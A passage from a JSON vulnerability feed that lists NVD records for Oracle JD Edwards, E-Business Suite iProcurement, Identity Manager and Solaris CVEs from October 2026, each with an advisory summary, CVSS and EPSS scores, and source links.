(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:28.273Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91271","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00278,"percentile":0.20011,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91271&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91271","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91271","type":"primary","publishedAt":"2026-10-20T22:20:28.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91271&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91271, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91270","cveId":"CVE-2026-91270","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:28.137Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91270","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91270&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91270","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91270","type":"primary","publishedAt":"2026-10-20T22:20:28.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91270&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91270, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91269","cveId":"CVE-2026-91269","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:28.007Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91269","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00365,"percentile":0.30093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91269&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91269","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91269","type":"primary","publishedAt":"2026-10-20T22:20:28.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91269&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91269, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91268","cveId":"CVE-2026-91268","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:27.893Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91268","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00328,"percentile":0.25721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91268&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91268","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91268","type":"primary","publishedAt":"2026-10-20T22:20:27.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91268&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91268, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91267","cveId":"CVE-2026-91267","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:27.773Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91267","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00303,"percentile":0.22776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91267&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91267","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91267","type":"primary","publishedAt":"2026-10-20T22:20:27.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91267&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91267, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91266","cveId":"CVE-2026-91266","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:27.660Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91266","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00149,"percentile":0.04041,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91266&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91266","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91266","type":"primary","publishedAt":"2026-10-20T22:20:27.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91266&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91266, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91260","cveId":"CVE-2026-91260","aliases":[],"kind":"vulnerability","title":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).","summary":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:26.993Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91260","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00342,"percentile":0.27488,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91260&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91260","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91260","type":"primary","publishedAt":"2026-10-20T22:20:26.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91260&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91260, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91259","cveId":"CVE-2026-91259","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).","summary":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:26.883Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91259","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38616,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91259&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91259","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91259","type":"primary","publishedAt":"2026-10-20T22:20:26.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91259&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91259, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91256","cveId":"CVE-2026-91256","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris and  unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris and  unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:26.653Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91256","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00365,"percentile":0.30037,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91256&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91256","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91256","type":"primary","publishedAt":"2026-10-20T22:20:26.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91256&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91256, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91255","cveId":"CVE-2026-91255","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 